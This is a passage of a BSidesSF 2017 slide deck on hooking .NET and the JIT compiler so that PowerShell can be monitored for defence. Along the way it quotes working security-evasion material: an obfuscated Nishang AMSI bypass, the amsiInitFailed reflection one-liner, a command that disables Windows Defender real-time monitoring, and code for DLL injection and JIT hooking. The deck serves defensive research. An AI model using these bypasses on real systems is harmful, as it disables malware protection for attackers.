  • 13. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 13 JUST-IN-TIME COMPILER (JIT) METADATA LOOKUPS Assembly contains metadata tables Lists of objects with names, offsets Method Tokens are unique per module Assembly Metadata Metadata Table Description ModuleDef (0x00) Identity of the module TypeDef (0x01) List of class Types and the indexes to the methods that each class owns MethodDef (0x02) Each method entry contains the name, offset location, flags, and signature. Assembly (0x20) Contains information about the current assembly. AssemblyRef (0x23) Contains information about the referenced assemblies. MemberRef (0x0A) Contains each member including methods referenced by the module.
  • 14. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 14 JUST-IN-TIME COMPILER (JIT) TRAVERSING THE METADATA Download JIT .PDB Identify function offsets for hooking Need to traverse the MethodDesc Tables to update the information for methods JIT Compiler Function Offsets D971C845B82D877107906335EFF1824C#32_2_0_50727_8670 2621605;MethodDesc::s_pfnReset 55606;MethodDesc::s_pfnIsGenericMethodDefinition 60512;MethodDesc::s_pfnGetNumGenericMethodArgs 762227;MethodDesc::s_pfnStripMethodInstantiation 60894;MethodDesc::s_pfnHasClassOrMethodInstantiation 160213;MethodDesc::s_pfnContainsGenericVariables 1179150;MethodDesc::s_pfnGetWrappedMethodDesc 56056;MethodDesc::s_pfnGetDomain 1020785;MethodDesc::s_pfnGetLoaderModule 4801122;LoadedMethodDescIterator::s_pfnConstructor 0;LoadedMethodDescIterator::s_pfnConstructor_v45 0;LoadedMethodDescIterator::s_pfnConstructor_v46 4950262;LoadedMethodDescIterator::s_pfnStart 0;LoadedMethodDescIterator::s_pfnNext_v4 4950393;LoadedMethodDescIterator::s_pfnNext_v2 4950297;LoadedMethodDescIterator::s_pfnCurrent_F43F7 0AF86B02890FCF95ED91EA373BB#32_4_0_30319_17929 _1BC333D76444B51B01A74B7447ADBC9E#64_2_0_50727_4963
  • 15. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 15 MICROSOFT INTERMEDIATE LANGUAGE (MSIL) CPU agnostic machine language that operates on a slightly higher level CLI instruction set standard from ECMA-335 Address is a 4-byte value called a token Relevant only to assembly JIT Optimizes the IL instructions Extraneous instructions such as NOP codes will be removed to improve performance IL Instructions
  • 16. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 16 MICROSOFT INTERMEDIATE LANGUAGE (MSIL) CPU agnostic machine language that operates on a slightly higher level Pushed and popped on the stack .maxstack refers the stack slot size needed for arguments and local variables After JIT Can acquire the virtual memory address of the method. Using GetFunctionPointer. .method /*06002149*/ public hidebysig static class System.Management.Automation.ScriptBlock/*02000316*/ Create(string script) cil managed // SIG: 00 01 12 8C 58 0E { // Method begins at RVA 0xa9499 // Code size 12 (0xc) .maxstack 8 IL_0000: /*73|(06)001FDA*/ newobj instance void System.Management.Automation.Parser/*020002F7*/::.ctor () /*06001FDA*/ IL_0005: /*02|*/ ldarg.0 IL_0006: /*28|(06)00214A*/ call class System.Management.Automation.ScriptBlock/*02000316*/ System.Management.Automation.ScriptBlock/*02000316*/:: Create(class System.Management.Automation.Parser/*020002F7*/, string) /*0600214A*/ IL_000b: /*2A|*/ ret } // end of method ScriptBlock::Create PowerShell ScriptBlock IL Instructions
  • 17. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 17 DECOMPILING .NET BINARIES Can easily be decompiled & disassembled Tools rely on disassembling the IL code and reconstructing the C# code based on the metadata definition original function names function offsets membership to parent classes Tools dotPeek dnSpy ILspy De4dot ILAsm.exe & ILDasm.exe
  • 18. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 18 DECOMPILING .NET BINARIES DotPeek https://www.jetbrains.com/decompiler/
  • 19. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 19 STRONG NAMED ASSEMBLIES Fixes version dependency from DLL Hell Uniquely identified assemblies signed with a publisher’s public/private key pair Public key is embedded into the header of the assembly Intended to tamper-resistant Global assembly cache (GAC) .NET tool gacutil.exe to install assembly Weak assemblies searched by its file name and executable extension with in the containing folder. Public Key Token Reference for Mscorlib GAC Locations
  • 20. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 20 STRONG NAMED ASSEMBLIES BYPASSING ANTI-TAMPERING .NET Framework version 3.5 Service Pack 1 Strong-name signatures are not validated when an assembly is loaded DISABLING STRONG NAME SIGNATURE VERIFICATION Arch Windows Registry Key to Disable for All Applications 32 HKEY_LOCAL_MACHINESOFTWAREMicrosoft.NETFra meworkAllowStrongNameBypass 64 HKEY_LOCAL_MACHINESOFTWAREMicrosoft.NETFra meworkAllowStrongNameBypass HKEY_LOCAL_MACHINESOFTWAREWow6432NodeM icrosoft.NETFrameworkAllowStrongNameBypass C# Application Configuration for One Application <configuration> <runtime> <bypassTrustedAppStrongNames enabled="false" /> </runtime> </configuration>
  • 21. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 21 NGEN ASSEMBLIES BYPASSES JIT COMPILATION Native Images are precompiled native code PE binaries Install & Uninstall Ngen.exe Contains both IL & Machine Code Code will load native images before IL assemblies Native Images C:WindowsassemblyNativeImages_v2.0.50727_32 C:WindowsassemblyNativeImages_v2.0.50727_64 C:WindowsassemblyNativeImages_v4.0.30319_32 C:WindowsassemblyNativeImages_v4.0.30319_64 System.Management.Automation.ni.dll System.Management.Automation.dll IL Assembly Native Image
  • 22. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 22 C# Programs POWERSHELL A POWERFUL SCRIPTING LANGUAGE Directly access globally cached .NET assemblies Reflectively load .NET assemblies which can load C-based Windows libraries Run unsigned scripts locally Run scripts that are interpreted and executed as base64 strings. System.Management.Automation.dll PowerShell.exe .NET FRAMEWORK CLRJIT Machine Code
  • 23. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 23 POWERSHELL All string or stream based scripts are parsed and compiled within a ScriptBlock. PowerShell source code differs in each version PowerShell ScriptBlock Create public static ScriptBlock Create(string script) { return ScriptBlock.Create(new Parser(), script); } PS Version Released Default Windows Versions .NET CLR Versions 1.0 2006 WinServer 2008 2.0.50727 2.0 2009 Win7 WinServer 2008 R2 2.0.50727 3.0 2012 Win8 WinServer 2012 4.0.30319 4.5+ 4.0 2013 Wuin8.1 WinServer 2012 R2 4.0.30319 4.5+ 5.0 2014 Win10 4.5+ SCRIPTBLOCKS
  • 24. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 24 BAD MALWARE PICKUP LINES Hey girl, do you like PowerShell? I can tell you do by the invoked expression I gave you ;) “ ”
  • 25. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 25 POWERSHELL Runspaces allows C# code to invoke PowerShell commands PowerSploit SharpPick -> Invoke-Expression and Invoke- Command that will execute piped string input or a ScriptBlock in the local or remote shell contexts RUNSPACES, INVOKE, WIN API
  • 26. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 26 POWERSHELL .NET assemblies and can reflectively load C-based Windows DLL RUNSPACES, INVOKE, WIN API # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) PowerSploit: Invoke-Shellcode
  • 27. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 27 AMSI PowerShell v5 Anti-Malware Scan Interface Windows 10 Allows Windows Defender and third party Anti-virus solutions access the script code Provides: Memory and Stream scanning De-obfuscated plain code Detect C# .NET usage of the PowerShell assembly PowerShell.exe System.Management.Automation.dll GetCodeToInvoke() Compile() PerformSecurityCheck() ScanContent() AMSI.dll AmsiScanString() COM API Interface RPC Windows Defender MPCLIENT.dll Anti Malware Scan Interface
  • 28. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 28 AMSI SUSPICIOUS METHODS GetMethod GetMethods GetNestedType GetNestedTypes GetProperties GetProperty InvokeMember GetDelegateForFunctionPointer kernel32 … Anti Malware Scan Interface System.Management. Automation.ScriptBlock. CheckSuspiciousContent
  • 29. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 29 AMSI BYPASSES SIGNATURE BYPASS Windows Defender relies on known variable names to block a malicious script String obfuscation on the variable name $code = @" Sv ('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpe R.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'l buPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+ 'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'egan aM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- (( VaRIAbLe ('R9'+'hyT') -val ).Length)])"@ NISHANG AMSI BYPASS
  • 30. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 30 AMSI BYPASSES DISABLING AMSI AMSI provides a command to disable the real-time monitoring for Windows Defender DLL Load Hijacking to replace ASMI.dll p0wnshell was trying to load the AMSI.dll in the local executing directory Place a fake copy of the ASMI.dll in this local directory Disable AMSI using Set-MpPreference PS C:> Set-MpPreference -DisableRealtimeMonitoring $true Fake AMSI.DLL
  • 31. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 31 AMSI BYPASSES ASSEMBLY FIELD MODIFICATION Using .NET reflection, a user can modify values within a class. When the AmsiUtils class is loaded, the class initialization result can be modified to appear as failed by setting it to True. PowerShell to Disable AMSI by Setting AmsiInitFailed AMSI Integration code [Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils ').GetField('amsiInitFailed','NonPublic,Static').SetValue($nul l,$true) int AMSIIntegration() { HAMSICONTEXT amsiContext; HRESULT hres; hres = CoInitializeEx(0, COINIT_MULTITHREADED); hres = AmsiInitialize(L"Win32Project2", &amsiContext); if (FAILED(hres)) { std::cout << "AmsiInitialize fails" << std::endl; CoUninitialize(); return -1; // Program has failed. }
  • 32. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 32 C# DLL INJECTION .NET ROOTKITS BINARY MODIFICATION CLR PROFILING JIT COMPILER HOOKING C-BASED METHOD HOOKING METHODS AND SOLUTIONS
  • 33. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 33 C# DLL INJECTION To run an injected C# assembly DLL, it must be first wrapped in a C-based wrapper DLL C# DLL does not have a DllMain() Determine the version of CLR Host process will use the environment’s .NET version unless forced to an older version Will need to be a payload compiled for different major version of .NET (2.0,3.5,4.0,4.5, and 4.6). Target Host Process C#DLL Wrapper DLL JIT Compiler Injected DLL Injector or Filter Driver
  • 34. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 34 C# DLL INJECTION Load mscoree.dll CLR library Load the C# payload into the host process’s C# AppDomain Using a precompiled C# payload and adding it as an embedded resource in the parent C-based DLL CoCreateInstance to access the CLR runtime environment of the host process Grab the AppDomain and load the assembly as a bytearray stored in the resource section CoInitializeEx(0, COINIT_MULTITHREADED); ICorRuntimeHost* pICorRuntimeHost = 0; HRESULT st = CoCreateInstance(CLSID_CorRuntimeHost, 0, CLSCTX_ALL, IID_ICorRuntimeHost, (void**)&pICorRuntimeHost); if (!pICorRuntimeHost) { return 1; } HDOMAINENUM hEnum = NULL; pICorRuntimeHost->EnumDomains(&hEnum); if (!hEnum) { return 1; } IUnknown* pUunk = 0; st = pICorRuntimeHost->NextDomain(hEnum, &pUunk); if (!pUunk) { return 1; } CComPtr<mscorlib::_AppDomain> pAppDomain = NULL; st = pUunk->QueryInterface( __uuidof( CComPtr<mscorlib::_AppDomain>), (VOID**)&pAppDomain); if (!pAppDomain) { return 1; }
  • 35. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 35 NET ROOTKITS BINARY MODIFICATION MODIFYING GAC ASSEMBLY Metula’s BlackHat talk about developing .NET framework rootkits 1. Targeting a GAC assembly to decompile into its IL code 2. Modify the IL code by injecting functions 3. Recompiling the IL 4. Force the framework to use the modified DLL IL Codes Disassembles using ILDasm Insert Loader Function Reassemble using ILAsm C# Compiled Assembly DLL %SystemRoot%Microsoft.NETAssemblyGAC_MSILSystem.M anagement.Automation<version>System.Management.Auto mation.dll Overwrite Original DLL
  • 36. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 36 NET ROOTKITS BINARY MODIFICATION Avoid Human Error .NET-Sploit dotNetHookLibrary Mono.Cecil Load existing assemblies statically or dynamically to modify the IL code to insert new code for you Used by both developers and gaming hackers AssemblyDef ModuleDefModuleDef FieldDefTypeDef PropertyDefMethodDef SetMethod GetMethod Methods Constructors Properties Fields Modules MainModule
  • 37. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 37 CLR PROFILING CLR DYNAMIC HOOK INJECTION .NET framework provides its own CLR performance monitoring API to evaluate the runtime performance of JITed IL code Allows tighter control over the CLR JIT environment monitors the execution Any time a module, assembly, or method loads it will track that event Environment Controller & Event receiver EXE EXE DLL Register CLR Profiler C#DLL Target Host Process Insert & Control the CLR environment Hooking Class Reflective Loading CLR Profiler CLR
  • 38. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 38 SETTING IL HOOK Target, Hooked, and Trampoline Target Method Hooked Method Trampoline Method Entry Point Return Value struct injectorTranpoline { BYTE methodHeader; // TINY format header BYTE ilCall01; DWORD refTranpoline; BYTE ilRet; injectorTranpoline(mdMethodDef tkClrHook) { ilCall01 = 0x28; refTranpoline = tkClrHook; ilRet = 0x2A; methodHeader = CorILMethod_TinyFormat|((sizeof(injectorTranpoline)- 1)<<(CorILMethod_FormatShift-1)); } };
  • 39. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 39 JIT COMPILER HOOKING DLL INJECTION & HOOKING Modify methods on the fly so that a developer can test inputs for methods without being invasive 1. An injector process will inject the unmanaged wrapper DLL into the target process. 2. The wrapper DLL will determine the version of CLR and JIT to acquire the method offsets for hooking. 3. Using a C-based hooking library called EasyHook the JIT’s compileMethod functions installs a hook to a prototype of compileMethod. 4. Now load the C# hooking library into the AppDomain of the target process. 5. Update the IL code to install the trampoline method to the C# hooked prototype method. Target Host Process C#DLL DLL Wrapper DLL EasyHook Safe Hooking Library JIT Compiler Injected DLL Injector or Filter Driver
  • 40. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 40 JIT COMPILER HOOKING Hooking JIT from compileMethod() //Set Jit p_getJit = (ULONG_PTR *(__stdcall *)()) GetProcAddress(g_hJitModule, "getJit"); if (p_getJit) { ICorJitCompiler::Instance = (ICorJitCompiler *)*((ULONG_PTR *)p_getJit()); if (ICorJitCompiler::Instance) { DWORD OldProtect; VirtualProtect(ICorJitCompiler::Instance, sizeof(ULONG_PTR), PAGE_READWRITE, &OldProtect); compileMethodcache = ICorJitCompiler::Instance->compileMethodintercept; ICorJitCompiler::Instance->compileMethodintercept = &ICorJitCompiler::compileMethod; VirtualProtect(ICorJitCompiler::Instance, sizeof(ULONG_PTR), OldProtect, &OldProtect); //Set Hook ICorJitCompiler::PFN_compileMethod pfnCompileMethod = &ICorJitCompiler::compileMethod; LPVOID * pAddr = (LPVOID*)&pfnCompileMethod; NTSTATUS ntStatus = LhInstallHook( (PVOID&)ICorJitCompiler::Instance->compileMethodintercept, *pAddr, NULL, &s_hHookCompileMethod);
  • 41. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 41 JIT COMPILER HOOKING 0.13164930[2888] Microsoft.PowerShell.ToStringCodeMethods 0.13168100[2888] Microsoft.PowerShell.AdapterCodeMethods 0.13171920[2888] System.Management.Automation.SettingValueExceptionEventArgs 0.13174960[2888] System.Management.Automation.GettingValueExceptionEventArgs 0.13178501[2888] System.Management.Automation.PSObjectPropertyDescriptor 0.13181540[2888] System.Management.Automation.PSObjectTypeDescriptor 0.13184530[2888] System.Management.Automation.PSObjectTypeDescriptionProvider 0.13187569[2888] System.Management.Automation.Runspaces.ConsolidatedString 0.13192080[2888] System.Management.Automation.Runspaces.NodeCardinality 0.13196360[2888] System.Management.Automation.Runspaces.Node 0.13201410[2888] System.Management.Automation.Runspaces.Node+NodeMethod 0.13204980[2888] System.Management.Automation.Runspaces.LoadContext 0.13213710[2888] System.Management.Automation.Runspaces.TypeTableLoadException 0.13217470[2888] System.Management.Automation.Runspaces.TypeData 0.13226460[2888] System.Management.Automation.Runspaces.TypeMemberData 0.13230330[2888] System.Management.Automation.Runspaces.NotePropertyData 0.13233720[2888] System.Management.Automation.Runspaces.AliasPropertyData 0.13237029[2888] System.Management.Automation.Runspaces.ScriptPropertyData 0.13240279[2888] System.Management.Automation.Runspaces.CodePropertyData 0.13243540[2888] System.Management.Automation.Runspaces.ScriptMethodData 0.13246840[2888] System.Management.Automation.Runspaces.CodeMethodData 0.13250659[2888] System.Management.Automation.Runspaces.PropertySetData 0.13254040[2888] System.Management.Automation.Runspaces.TypeTable 0.13258070[2888] System.Management.Automation.ExtendedTypeSystemException 0.13261370[2888] System.Management.Automation.MethodException PowerShell Eventing From Hooking JIT
  • 42. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 42 C-BASED METHOD HOOKING Machine Code Manipulation Topher’s DEFCON talk illustrated the manipulation of .NET machine code in memory locations that were R-W-X after IL JITed Tool GreyStorm used to inject shellcode into memory blocks of methods .NET Framework Managed Assembly Metadata & IL codes CLR clr.dll / mscorwks.dll JIT getJit() compileMethod() clrjit.dll/mscorjit.dll Native/Machine Code Hook is Placed on this Level
  • 43. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 43 C-BASED METHOD HOOKING Machine Code Manipulation Use pointer reflection Create your traditional ASM trampoline code in a byte array and overwrite the method Need to keep the original method code Tricky to handle method arguments Prototype method needs to be accessible MethodInfo commandCtor = targetType.GetMethod("ParseScriptBlock"); System.Runtime.CompilerServices.RuntimeHelpers .PrepareMethod(commandCtor.MethodHandle); IntPtr commandCtorPtr = commandCtor.MethodHandle.GetFunctionPointer(); PrepareMethod & GetFunctionPointer
  • 44. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 44 RESULTS
  • 45. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 45 SOLUTION RESULTS COMPARISON Requirements IL Binary Modification CLR Profiler Hooking JIT Hooking Machine Code Manipulation Runtime Analysis YES YES YES YES Run on PowerShell v2+ YES YES YES YES Stealth vs AMSI YES YES YES YES Any System Artifacts? YES YES NO NO NGEN to Be Uninstalled YES YES YES YES Requires Signature Validation YES NO NO NO Difficulty High (If Manual) Low Medium High
  • 46. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 46 SOLUTION RESULTS COMPARISON Requirements IL Binary Modification CLR Profiler Hooking JIT Hooking Machine Code Manipulation Runtime Analysis YES YES YES YES Run on PowerShell v2+ YES YES YES YES Stealth vs AMSI YES YES YES YES Any System Artifacts? YES YES NO NO NGEN to Be Uninstalled YES YES YES YES Requires Signature Validation YES NO NO NO Difficulty High (If Manual) Low Medium High 3 12
  • 47. BSidesSF 2017 | .NET Hijacking to Defend PowerShell 47 TAKE AWAYS INTERCEPT THE ACTUAL POWERSHELL METHOD STAY STEALTHY DO IT RIGHT, DON’T CRASH POWERSHELL WELCOME TO .NET HELL amanda.secured.org